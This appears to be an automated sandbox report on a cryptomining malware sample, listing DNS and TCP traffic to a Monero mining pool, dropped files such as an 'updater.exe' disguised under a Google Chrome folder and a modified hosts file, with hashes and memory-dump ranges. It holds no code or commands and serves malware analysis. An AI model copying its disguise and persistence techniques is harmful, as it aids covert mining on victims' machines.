C:\Windows\system32\conhost.exe
C:\Windows\explorer.exe
explorer.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 4.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 198.121.18.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.35.223.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | xmr-eu1.nanopool.org | udp |
| FR | 163.172.154.142:10343 | xmr-eu1.nanopool.org | tcp |
| US | 8.8.8.8:53 | 142.154.172.163.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 50.23.12.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 15.164.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 140.71.91.104.in-addr.arpa | udp |
Files
memory/2260-0-0x00007FFDE7C03000-0x00007FFDE7C05000-memory.dmp
memory/2260-1-0x000001EFECDC0000-0x000001EFECDE2000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_i2o4e3cm.0ex.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/2260-11-0x00007FFDE7C00000-0x00007FFDE86C1000-memory.dmp
memory/2260-12-0x00007FFDE7C00000-0x00007FFDE86C1000-memory.dmp
memory/2260-15-0x00007FFDE7C00000-0x00007FFDE86C1000-memory.dmp
C:\ProgramData\Google\Chrome\updater.exe
| MD5 | 4570ebfb64c5e9660e0fe27877adae01 |
| SHA1 | a4a9e2218828cd81ab77791154801e87b0f6a099 |
| SHA256 | aa16c6dac9061821fb5f8b99138fa21a9f031c0606789e36eeb8be9d274b823d |
| SHA512 | 3c65deaf97f1af90e13d9a56b0b34845171692be4aec48fda4170d8993e1af8aaed3c84e7f685ed13b973ea9bece24d96c07a961378b9aac3cb18ff0c0b19bad |
memory/3188-38-0x000001AE20FD0000-0x000001AE20FEC000-memory.dmp
memory/3188-39-0x000001AE20FF0000-0x000001AE210A5000-memory.dmp
memory/3188-40-0x000001AE20D80000-0x000001AE20D8A000-memory.dmp
memory/3188-41-0x000001AE21210000-0x000001AE2122C000-memory.dmp
memory/3188-42-0x000001AE211F0000-0x000001AE211FA000-memory.dmp
memory/3188-43-0x000001AE21250000-0x000001AE2126A000-memory.dmp
memory/3188-44-0x000001AE21200000-0x000001AE21208000-memory.dmp
memory/3188-45-0x000001AE21230000-0x000001AE21236000-memory.dmp
memory/3188-46-0x000001AE21240000-0x000001AE2124A000-memory.dmp
C:\Windows\system32\drivers\etc\hosts
| MD5 | 00930b40cba79465b7a38ed0449d1449 |
| SHA1 | 4b25a89ee28b20ba162f23772ddaf017669092a5 |
| SHA256 | eda1aae2c8fce700e3bdbe0186cf3db88400cf0ac13ec736e84dacba61628a01 |
| SHA512 | cbe4760ec041e7da7ab86474d5c82969cfccb8ccc5dbdac9436862d5b1b86210ab90754d3c8da5724176570d8842e57a716a281acba8719e90098a6f61a17c62 |
memory/4592-55-0x0000000140000000-0x000000014000E000-memory.dmp
memory/4592-54-0x0000000140000000-0x000000014000E000-memory.dmp
memory/4592-53-0x0000000140000000-0x000000014000E000-memory.dmp
memory/4592-58-0x0000000140000000-0x000000014000E000-memory.dmp
memory/4188-64-0x0000000140000000-0x0000000140848000-memory.dmp
memory/4188-66-0x0000000000C00000-0x0000000000C20000-memory.dmp
memory/4188-65-0x0000000140000000-0x0000000140848000-memory.dmp
memory/4188-62-0x0000000140000000-0x0000000140848000-memory.dmp
memory/4188-61-0x0000000140000000-0x0000000140848000-memory.dmp
memory/4188-59-0x0000000140000000-0x0000000140848000-memory.dmp
memory/4188-63-0x0000000140000000-0x0000000140848000-memory.dmp
memory/4188-60-0x0000000140000000-0x0000000140848000-memory.dmp
memory/4592-52-0x0000000140000000-0x000000014000E000-memory.dmp
memory/4592-51-0x0000000140000000-0x000000014000E000-memory.dmp
memory/4188-71-0x0000000140000000-0x0000000140848000-memory.dmp
memory/4188-69-0x0000000140000000-0x0000000140848000-memory.dmp
memory/4188-70-0x0000000140000000-0x0000000140848000-memory.dmp
memory/4188-68-0x0000000140000000-0x0000000140848000-memory.dmp
memory/4188-67-0x0000000140000000-0x0000000140848000-memory.dmp
memory/4188-72-0x0000000140000000-0x0000000140848000-memory.dmp
memory/4188-74-0x0000000140000000-0x0000000140848000-memory.dmp